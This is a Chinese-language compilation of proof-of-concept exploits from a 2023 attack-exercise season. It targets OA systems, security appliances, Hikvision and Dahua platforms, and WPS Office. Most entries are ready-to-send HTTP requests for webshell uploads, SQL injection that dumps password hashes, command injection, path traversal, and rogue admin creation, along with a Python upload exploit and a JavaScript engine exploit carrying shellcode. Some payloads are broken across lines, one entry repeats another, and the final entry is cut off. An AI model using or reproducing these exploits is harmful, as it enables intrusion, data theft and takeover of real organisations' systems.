2023HW漏洞POC/EXP、情报汇总知识库

一、2023HW漏洞POC、EXP

1、致远oa rce

POC

1
1、/seeyon/ajax.do?method=ajaxAction&managerName=syncConfi
2
gManager
3
2、/seeyon/ajax.do?method=ajaxAction&managerName=syncConfi
4
gManager&requestCompress=gzip
5
3、/seeyon/ajax.do?method=ajaxAction&managerName=syncConfi
6
gManager&requestCompress=gzip&managerMethod=checkDB&argumen
7
ts=
8
4、/seeyon/ajax.do?method=ajaxAction&managerName=syncConfi
9
gManager&managerMethod=checkDB&arguments=
10
5、/seeyon/ajax.do?method=ajaxAction&managerName=syncConfi
11
gManager&managerMethod=&arguments

2、某神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞

1
POST /?g=obj_app_upfile HTTP/1.1
2
Host: x.x.x.x
3
Accept: /
4
Accept-Encoding: gzip, deflate
5
Content-Length: 574
6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
7
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)
8

9
------WebKitFormBoundaryJpMyThWnAxbcBBQc
10
Content-Disposition: form-data; name="MAX_FILE_SIZE"
11

12
10000000
13
------WebKitFormBoundaryJpMyThWnAxbcBBQc
14
Content-Disposition: form-data; name="upfile"; filename="vulntest.php"
15
Content-Type: text/plain
16

17
<?php php马?>
18

19
------WebKitFormBoundaryJpMyThWnAxbcBBQc
20
Content-Disposition: form-data; name="submit_post"
21

22
obj_app_upfile
23
------WebKitFormBoundaryJpMyThWnAxbcBBQc
24
Content-Disposition: form-data; name="__hash__"
25

26
0b9d6b1ab7479ab69d9f71b05e0e9445
27
------WebKitFormBoundaryJpMyThWnAxbcBBQc--

马儿路径：attachements/xxx.php

3、某达OA sql注入漏洞 CVE-2023-4166

1
影响范围
2
通达OA
3
是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是适合各个行业用户的综合管理办公平台
4
本次范围：通达OA版本11.10之前

1
GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 HTTP/1.1
2
Host: 127.0.0.1:8080
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6
Accept-Encoding: gzip, deflate
7
Connection: close
8
Upgrade-Insecure-Requests: 1

4、某达OA sql注入漏洞 CVE-2023-4165 POC

1
通达OA版本11.10之前存在SQL注入。
2
通过时间延迟获取数据库信息

1
验证POC1：
2
/general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1
3

4
验证POC2：
5
/general/system/seal_manage/iweboffice/delete_seal.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1

1
GET /general/system/seal_manage/iweboffice/delete_seal.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 HTTP/1.1
2
Host: 127.0.0.1:8080
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6
Accept-Encoding: gzip, deflate
7
Connection: close
8
Upgrade-Insecure-Requests: 1

5、某x服应用交付系统命令执行漏洞 POC

1
POST /rep/login
2
Host:10.10.10.1:85
3

4
clsMode=cls_mode_login%0Als%0A&index=index&log_type=report&loginType=account&page=login&rnd=0&userID=admin&userPsw=123

6、广联达oa sql注入漏洞 POC

1
POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1
2
Host: xxx.com
3
Upgrade-Insecure-Requests: 1
4
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
5
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6
Referer: http://xxx.com:8888/Services/Identification/Server/Incompatible.aspx
7
Accept-Encoding: gzip, deflate
8
Accept-Language: zh-CN,zh;q=0.9
9
Cookie:
10
Connection: close
11
Content-Type: application/x-www-form-urlencoded
12
Content-Length: 88
13

14
dasdas=&key=1' UNION ALL SELECT top 1812 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --

7、某服 sxf-报表系统版本有限制

POC

1
POST /rep/login HTTP/1.1
2
Host: URL
3
Cookie:
4
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0s X 10.15: ry:109.0)Gecko/20100101 Firefox/115.0
5
Accept:text/html,application/xhtml+xml,application/xml;g=0,9, image/avif, image/webp,*/*;q=0.8 Accept-Language:zh-CN, zh;g=0.8, zh-TW;g=0.7, zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
6
Accept-Encoding: gzip deflate
7
Upgrade-Insecure-Requests: 1
8
Sec-Fetch-Dest: document
9
Sec-Fetch-Mode: navigate
10
Sec-Fetch-Site: cross-site Pragma: no-cache Cache-Control: no-cache14 Te: trailers
11
Connection: close
12
Content-Type:application/x-www-form-urlencoded
13
Content-Length: 126 clsMode=cls_mode_login&index=index&log_type=report&page=login&rnd=0.7550103466497915&userID=admin%0Aid -a %0A&userPsw=tmbhuisq

8、某盟sas安全审计系统任意文件读取漏洞POC

1
/webconf/GetFile/index?path=../../../../../../../../../../../../../../etc/passwd
2
/api/virtual/home/status?cat=../../../../../../../../etc/passwd

9、某凌OA前台代码执行

POC

1
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
2
Host: www.ynjd.cn:801
3
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
4
Accept: /
5
Connection: Keep-Alive
6
Content-Length: 42
7
Content-Type: application/x-www-form-urlencoded
8

9
var={"body":{"file":"file:///etc/passwd"}}

10、金山WPS RCE

1
wps影响范围为：WPS Office 2023 个人版 < 11.1.0.15120
2
WPS Office 2019 企业版 < 11.8.2.12085
3
POC
4
在1.html当前路径下启动http server并监听80端口，修改hosts文件（测试写死的）
5
127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn
6

7
漏洞触发需让域名规则满足clientweb.docer.wps.cn.{xxxxx}wps.cn cloudwps.cn和wps.cn没有任何关系
8
代码块在底下。（需要原pdf加wechat）

1
<script>
2
if(typeof alert === "undefined"){
3
alert = console.log;
4
}
5
let f64 = new Float64Array(1);
6
let u32 = new Uint32Array(f64.buffer);
7
function d2u(v) {
8
f64[0] = v;
9
return u32;
10
}
11
function u2d(lo, hi) {
12
u32[0] = lo;
13
u32[1] = hi;
14
return f64[0];
15
}
16
function gc(){ // major
17
for (let i = 0; i < 0x10; i++) {
18
new Array(0x100000);
19
}
20
}
21
function foo(bug) {
22
function C(z) {
23
Error.prepareStackTrace = function(t, B) {
24
return B[z].getThis();
25
};
26
let p = Error().stack;
27
Error.prepareStackTrace = null;
28
return p;
29
}
30
function J() {}
31
var optim = false;
32
var opt = new Function(
33
'a', 'b', 'c',
34
'if(typeof a===\'number\'){if(a>2){for(var
35
i=0;i<100;i++);return;}b.d(a,b,1);return}' +
36
'g++;'.repeat(70));
37
var e = null;
38
J.prototype.d = new Function(
39
'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
40
J.prototype.a = new Function('a', 'a.b(0,a)');
41
J.prototype.b = new Function(
42
'a', 'b',
43
'b.c();if(a){' +
44
'g++;'.repeat(70) + '}');
45
J.prototype.c = function() {
46
if (optim) {
47
var z = C(3);
48
var p = C(3);
49
z[0] = 0;
50
e = {M: z, C: p};
51
}
52
};
53
var a = new J();
54
// jit optim
55
if (bug) {
56
for (var V = 0; 1E4 > V; V++) {
57
opt(0 == V % 4 ? 1 : 4, a, 1);
58
}
59
}
60
optim = true;
61
opt(1, a, 1);
62
return e;
63
}
64
e1 = foo(false);
65
e2 = foo(true);
66
delete e2.M[0];
67
let hole = e2.C[0];
68
let map = new Map();
69
map.set('asd', 8);
70
map.set(hole, 0x8);
71
map.delete(hole);
72
map.delete(hole);
73
map.delete("asd");
74
map.set(0x20, "aaaa");
75
let arr3 = new Array(0);
76
let arr4 = new Array(0);
77
let arr5 = new Array(1);
78
let oob_array = [];
79
oob_array.push(1.1);
80
map.set("1", -1);
81
let obj_array = {
82
m: 1337, target: gc
83
};
84
let ab = new ArrayBuffer(1337);
85
let object_idx = undefined;
86
let object_idx_flag = undefined;
87
let max_size = 0x1000;
88
for (let i = 0; i < max_size; i++) {
89
if (d2u(oob_array[i])[0] === 0xa72) {
90
object_idx = i;
91
object_idx_flag = 1;
92
break;
93
}if (d2u(oob_array[i])[1] === 0xa72) {
94
object_idx = i + 1;
95
object_idx_flag = 0;
96
break;
97
}
98
}
99
function addrof(obj_para) {
100
obj_array.target = obj_para;
101
let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
102
obj_array.target = gc;
103
return addr;
104
}
105
function fakeobj(addr) {
106
let r8 = d2u(oob_array[object_idx]);
107
if (object_idx_flag === 0) {
108
oob_array[object_idx] = u2d(addr, r8[1]);
109
}else {
110
oob_array[object_idx] = u2d(r8[0], addr);
111
}
112
return obj_array.target;
113
}
114
let bk_idx = undefined;
115
let bk_idx_flag = undefined;
116
for (let i = 0; i < max_size; i++) {
117
if (d2u(oob_array[i])[0] === 1337) {
118
bk_idx = i;
119
bk_idx_flag = 1;
120
break;
121
}if (d2u(oob_array[i])[1] === 1337) {
122
bk_idx = i + 1;
123
bk_idx_flag = 0;
124
break;
125
}
126
}
127
let dv = new DataView(ab);
128
function get_32(addr) {
129
let r8 = d2u(oob_array[bk_idx]);
130
if (bk_idx_flag === 0) {
131
oob_array[bk_idx] = u2d(addr, r8[1]);
132
} else {
133
oob_array[bk_idx] = u2d(r8[0], addr);
134
}
135
let val = dv.getUint32(0, true);
136
oob_array[bk_idx] = u2d(r8[0], r8[1]);
137
return val;
138
}
139
function set_32(addr, val) {
140
let r8 = d2u(oob_array[bk_idx]);
141
if (bk_idx_flag === 0) {
142
oob_array[bk_idx] = u2d(addr, r8[1]);
143
} else {
144
oob_array[bk_idx] = u2d(r8[0], addr);
145
}
146
dv.setUint32(0, val, true);
147
oob_array[bk_idx] = u2d(r8[0], r8[1]);
148
}
149
function write8(addr, val) {
150
let r8 = d2u(oob_array[bk_idx]);
151
if (bk_idx_flag === 0) {
152
oob_array[bk_idx] = u2d(addr, r8[1]);
153
} else {
154
oob_array[bk_idx] = u2d(r8[0], addr);
155
}
156
dv.setUint8(0, val);
157
}
158
let fake_length = get_32(addrof(oob_array)+12);
159
set_32(get_32(addrof(oob_array)+8)+4,fake_length);
160
let wasm_code = new
161
Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,
162
128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,
163
128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0
164
,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
165
let wasm_mod = new WebAssembly.Module(wasm_code);
166
let wasm_instance = new WebAssembly.Instance(wasm_mod);
167
let f = wasm_instance.exports.main;
168
let target_addr = addrof(wasm_instance)+0x40;
169
let rwx_mem = get_32(target_addr);
170
//alert("rwx_mem is"+rwx_mem.toString(16));
171
const shellcode = new Uint8Array([0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,
172
0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14,
173
0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c,
174
0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b,
175
0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01,
176
0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,
177
0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
178
0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
179
0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01,
180
0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61,
181
0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d,
182
0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b,
183
0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd,
184
0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
185
0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63,
186
0x00]);
187
for(let i=0;i<shellcode.length;i++){
188
write8(rwx_mem+i,shellcode[i]);
189
}
190
f();
191
</script>

11、汉得SRM tomcat.jsp 登录绕过漏洞 POC

1
/tomcat.jsp?dataName=role_id&dataValue=1
2

3
/tomcat.jsp?dataName=user_id&dataValue=1
4

5
然后访问后台：/main.screen

12、广联达oa 后台文件上传漏洞 POC

1
POST /gtp/im/services/group/msgbroadcastuploadfile.aspx HTTP/1.1
2
Host: 10.10.10.1:8888
3
X-Requested-With: Ext.basex
4
Accept: text/html, application/xhtml+xml, image/jxr, /
5
Accept-Language: zh-Hans-CN,zh-Hans;q=0.5
6
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7
Accept-Encoding: gzip, deflate
8
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
9
Accept: /
10
Origin: http://10.10.10.1
11
Referer: http://10.10.10.1:8888/Workflow/Workflow.aspx?configID=774d99d7-02bf-42ec-9e27-caeaa699f512&menuitemid=120743&frame=1&modulecode=GTP.Workflow.TaskCenterModule&tabID=40
12
Cookie:
13
Connection: close
14
Content-Length: 421
15

16
------WebKitFormBoundaryFfJZ4PlAZBixjELj
17
Content-Disposition: form-data; filename="1.aspx";filename="1.jpg"
18
Content-Type: application/text
19

20
<%@ Page Language="Jscript" Debug=true%>
21
<%
22
var FRWT='XeKBdPAOslypgVhLxcIUNFmStvYbnJGuwEarqkifjTHZQzCoRMWD';
23
var GFMA=Request.Form("qmq1");
24
var ONOQ=FRWT(19) + FRWT(20) + FRWT(8) + FRWT(6) + FRWT(21) + FRWT(1);
25
eval(GFMA, ONOQ);
26
%>
27

28
------WebKitFormBoundaryFfJZ4PlAZBixjELj--

13、泛微Ecology未授权

1
POST /OfficeServer HTTP/1.1
2
Host:
3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymVk33liI64J7GQaK
4
Content-Length: 204
5

6
------WebKitFormBoundarymVk33liI64J7GQaK
7
Content-Disposition: form-data; name="aaa"
8

9
{'OPTION':'INSERTIMAGE','isInsertImageNew':'1','imagefileid4pic':'100'}
10
------WebKitFormBoundarymVk33liI64J7GQaK—

14、泛微E-Office9文件上传漏洞 CVE-2023-2648 POC

1
POST /inc/jquery/uploadify/uploadify.php HTTP/1.1
2
Host: 192.168.233.10:8082
3
User-Agent: test
4
Connection: close
5
Content-Length: 493
6
Accept-Encoding: gzip
7
Content-Type: multipart/form-data
8

9
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
10
Content-Disposition: form-data; name="Filedata"; filename="666.php"
11
Content-Type: application/octet-stream
12

13
<?php phpinfo();?>
14

15
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt

1
CVE-2023-2523
2

3
POST /Emobile/App/Ajax/ajax.php?action=mobile_upload_save  HTTP/1.1
4
Host:192.168.233.10:8082
5
Cache-Control:max-age=0
6
Upgrade-Insecure-Requests:1
7
Origin:null
8
Content-Type:multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
9
Accept-Encoding:gzip, deflate
10
Accept-Language:en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
11
Connection:close
12

13
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
14
Content-Disposition:form-data; name="upload_quwan"; filename="1.php."
15
Content-Type:image/jpeg
16
<?phpphpinfo();?>
17
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt

15、某微E-Office9文件上传漏洞 CVE-2023-2523 POC

1
POST/Emobile/App/Ajax/ajax.php?action=mobile_upload_save  HTTP/1.1
2
Host:192.168.233.10:8082
3
Cache-Control:max-age=0
4
Upgrade-Insecure-Requests:1
5
Origin:null
6
Content-Type:multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
7
Accept-Encoding:gzip, deflate
8
Accept-Language:en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
9
Connection:close
10

11
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
12
Content-Disposition:form-data; name="upload_quwan"; filename="1.php."
13
Content-Type:image/jpeg
14
<?phpphpinfo();?>
15
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt

1
POST /api/user/login
2

3
captcha=&password=21232f297a57a5a743894a0e4a801fc3&username=admin'and(select*from(select+sleep(3))a)='

17、安恒明御运维审计与风险控制系统堡垒机任意用户注册

1
POST /service/?unix:/../../../../var/run/rpc/xmlrpc.sock|http://test/wsrpc HTTP/1.1
2
Host: xxx
3
Cookie: LANG=zh; USM=0a0e1f29d69f4b9185430328b44ad990832935dbf1b90b8769d297dd9f0eb848
4
Cache-Control: max-age=0
5
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
6
Sec-Ch-Ua-Mobile: ?0
7
Sec-Ch-Ua-Platform: "Windows"
8
Upgrade-Insecure-Requests: 1
9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
11
Sec-Fetch-Site: none
12
Sec-Fetch-Mode: navigate
13
Sec-Fetch-User: ?1
14
Sec-Fetch-Dest: document
15
Accept-Encoding: gzip, deflate
16
Accept-Language: zh-CN,zh;q=0.9
17
Connection: close
18
Content-Length: 1121
19

20
<?xml version="1.0"?>
21
<methodCall>
22
<methodName>web.user_add</methodName>
23
<params>
24
<param>
25
<value>
26
<array>
27
<data>
28
<value>
29
<string>admin</string>
30
</value>
31
<value>
32
<string>5</string>
33
</value>
34
<value>
35
<string>XX.XX.XX.XX</string>
36
</value>
37
</data>
38
</array>
39
</value>
40
</param>
41
<param>
42
<value>
43
<struct>
44
<member>
45
<name>uname</name>
46
<value>
47
<string>deptadmin</string>
48
</value>
49
</member>
50
<member>
51
<name>name</name>
52
<value>
53
<string>deptadmin</string>
54
</value>
55
</member>
56
<member>
57
<name>pwd</name>
58
<value>
59
<string>Deptadmin@123</string>
60
</value>
61
</member>
62
<member>
63
<name>authmode</name>
64
<value>
65
<string>1</string>
66
</value>
67
</member>
68
<member>
69
<name>deptid</name>
70
<value>
71
<string></string>
72
</value>
73
</member>
74
<member>
75
<name>email</name>
76
<value>
77
<string></string>
78
</value>
79
</member>
80
<member>
81
<name>mobile</name>
82
<value>
83
<string></string>
84
</value>
85
</member>
86
<member>
87
<name>comment</name>
88
<value>
89
<string></string>
90
</value>
91
</member>
92
<member>
93
<name>roleid</name>
94
<value>
95
<string>101</string>
96
</value>
97
</member>
98
</struct></value>
99
</param>
100
</params>
101
</methodCall>

18、HiKVISION 综合安防管理平台 report 任意文件上传漏洞 POC

1
fofa查询语句
2
icon_hash=“-808437027” app=“HIKVISION-iSecure-Center”

EXP/POC：payload.py 脚本走127.0.0.1<8080> 代理，方便burpsuit抓包。

1
#!usr/bin/env python
2
# - coding:utf-8 *-*
3
import sys
4
import requests
5
import string
6
import random
7
import urllib3
8
urllib3.disable_warnings()
9

10
proxies = {
11
    'http': 'http://127.0.0.1:8080',
12
    'https': 'http://127.0.0.1:8080', #127.0.0.1:8080 代理，方便burpsuit抓包
13
}
14

15
def run(arg):
16
    try:
17
        flag=''.join(random.choices(string.ascii_uppercase + string.digits, k = 9))
18
        filename=''.join(random.choices(string.ascii_uppercase + string.digits, k = 10))
19
        vuln_url=arg+"center/api/files;.js"
20
        headers={'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',
21
                 'Accept': '*/*',
22
                 'Content-Type': 'application/x-www-form-urlencoded'}
23
        file = {'file': (f'../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/{filename}.txt', flag, 'application/octet-stream')}
24
        r = requests.post(vuln_url, files=file, timeout=15, verify=False, proxies=proxies)
25
        if r.status_code==200 and "webapps/clusterMgr" in r.text:
26

27
            payload=f"clusterMgr/{filename}.txt;.js"
28
            url=arg+payload
29
            r2 = requests.get(url, timeout=15, verify=False, proxies=proxies)
30
            if r2.status_code==200 and flag in r2.text:
31

32
                print('\033[1;31;40m')
33
                print(arg+f":存在海康威视isecure center 综合安防管理平台存在任意文件上传漏洞\nshell地址：{url}")
34
                print('\033[0m')
35

36

37

38
        else:
39
            print(arg+":不存在漏洞")
40
    except:
41
        print(arg+":不存在漏洞")
42

43

44
if name == '__main__':
45
    url=sys.argv[1]
46
    run(url)

burpsuit抓包分析

burpsuit 127.0.0.1<8080抓包>，抓取post 包一个，get 请求包一个。 payload：请求数据包

1
POST /center/api/files;.js HTTP/1.1
2
Host: x.x.x.x
3
User-Agent: python-requests/2.31.0
4
Accept-Encoding: gzip, deflate
5
Accept: */*
6
Connection: close
7
Content-Length: 258
8
Content-Type: multipart/form-data; boundary=e54e7e5834c8c50e92189959fe7227a4
9

10
--e54e7e5834c8c50e92189959fe7227a4
11
Content-Disposition: form-data; name="file"; filename="../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/2BT5AV96QW.txt"
12
Content-Type: application/octet-stream
13

14
9YPQ3I3ZS
15
--e54e7e5834c8c50e92189959fe7227a4--

payload的返回数据包。

1
HTTP/1.1 200
2
Server: openresty/1.13.6.2
3
Date: Fri, 14 Jul 2023 04:35:23 GMT
4
Content-Type: application/json;charset=UTF-8
5
Content-Length: 335
6
Connection: close
7
Set-Cookie: JSESSIONID=0A235873FB1C02C345345C0D36A4C709; Path=/center; HttpOnly
8
Content-Language: en_US
9
Cache-Control: no-cache, no-store, must-revalidate
10
Pragma: no-cache
11
Expires: 0
12
Content-Disposition: inline;filename=f.txt
13

14
{"code":"0","data":{"filename":"../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/

访问漏洞链接：https://x.x.x.x/clusterMgr/2BT5AV96QW.txt;.js ，查看是否上传成功。

因为Hikvision平台使用的中间件为tomcat，修改报文和文件名，所以实现上传哥斯拉生成jsp。宿主服务器windows和linux都可使用。windows 拿到的账户是system账户，linux为root。 Hikvision账户管理密码的后渗透操作：海康威视综合安防后渗透利用技巧

POC2

1
POST /center/api/files;.html HTTP/1.1
2
Host: 10.10.10.10
3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a
4

5
------WebKitFormBoundary9PggsiM755PLa54a
6
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp"
7
Content-Type: application/zip
8

9
<%jsp的马%>
10
------WebKitFormBoundary9PggsiM755PLa54a--

report 任意文件上传漏洞

1
POST /svm/api/external/report HTTP/1.1
2
Host: 10.10.10.10
3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a
4

5
------WebKitFormBoundary9PggsiM755PLa54a
6
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp"
7
Content-Type: application/zip
8

9
<%jsp的马%>
10

11
------WebKitFormBoundary9PggsiM755PLa54a--

马儿路径：/portal/ui/login/..;/..;/new.jsp

19、HiKVISION 综合安防管理平台 files 任意文件上传漏洞 POC

1
POST /center/api/files;.html HTTP/1.1
2
Host: 10.10.10.10
3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a
4

5
------WebKitFormBoundary9PggsiM755PLa54a
6
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp"
7
Content-Type: application/zip
8

9
<%jsp的马%>
10
------WebKitFormBoundary9PggsiM755PLa54a--

20、Exchange Server远程代码执行漏洞（CVE-2023-38182）风险通告

1
待补充poc exp
2
描述和影响范围
3
Exchange Server 2019 Cumulative Update 13
4
Exchange Server 2019 Cumulative Update 12
5
Exchange Server 2019 Cumulative Update 11
6
Exchange Server 2016 Cumulative Update 23
7
需要有普通用户权限

21、Coremail远程代码执行漏洞（官方已辟谣）

22、某微 E-Cology 某版本 SQL注入漏洞 POC

1
POST /dwr/call/plaincall/CptDwrUtil.ifNewsCheckOutByCurrentUser.dwr HTTP/1.1
2
Host: ip:port
3
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36
4
Connection: close
5

6
Content-Length: 189
7
Content-Type: text/plain
8
Accept-Encoding: gzip
9

10
callCount=1
11
page=
12
httpSessionId=
13
scriptSessionId=
14
c0-scriptName=DocDwrUtil
15
c0-methodName=ifNewsCheckOutByCurrentUser
16
c0-id=0
17
c0-param0=string:1 AND 1=1
18
c0-param1=string:1
19
batchId=0

23、某和OA C6-GetSqlData.aspx SQL注入漏洞 POC

1
POST /C6/Control/GetSqlData.aspx/.ashx
2
Host: ip:port
3
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36
4
Connection: close
5
Content-Length: 189
6
Content-Type: text/plain
7
Accept-Encoding: gzip
8

9
exec master..xp_cmdshell 'ipconfig'

24、大华智慧园区综合管理平台 searchJson SQL注入漏洞 POC

1
GET /portal/services/carQuery/getFaceCapture/searchJson/%7B%7D/pageJson/%7B%22orderBy%22:%221%20and%201=updatexml(1,concat(0x7e,(select%20md5(388609)),0x7e),1)--%22%7D/extend/%7B%7D HTTP/1.1
2
Host: 127.0.0.1:7443
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4
Accept-Encoding: gzip, deflate
5
Connection: close

25、大华智慧园区综合管理平台文件上传漏洞 POC

1
POST /publishing/publishing/material/file/video HTTP/1.1
2
Host: 127.0.0.1:7443
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4
Content-Length: 804
5
Content-Type: multipart/form-data; boundary=dd8f988919484abab3816881c55272a7
6
Accept-Encoding: gzip, deflate
7
Connection: close
8

9
--dd8f988919484abab3816881c55272a7
10
Content-Disposition: form-data; name="Filedata"; filename="0EaE10E7dF5F10C2.jsp"
11

12
<%@page contentType="text/html; charset=GBK"%><%@page import="java.math.BigInteger"%><%@page import="java.security.MessageDigest"%><% MessageDigest md5 = null;md5 = MessageDigest.getInstance("MD5");String s = "123456";String miyao = "";String jiamichuan = s + miyao;md5.update(jiamichuan.getBytes());String md5String = new BigInteger(1, md5.digest()).toString(16);out.println(md5String);new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
13
--dd8f988919484abab3816881c55272a7
14
Content-Disposition: form-data; name="poc"
15

16
poc
17
--dd8f988919484abab3816881c55272a7
18
Content-Disposition: form-data; name="Submit"
19

20
submit
21
--dd8f988919484abab3816881c55272a7--

26、某友时空KSOA PayBill SQL注入漏洞 POC

1
POST /servlet/PayBill?caculate&_rnd= HTTP/1.1
2
Host: 1.1.1.1
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4
Content-Length: 134
5
Accept-Encoding: gzip, deflate
6
Connection: close
7

8
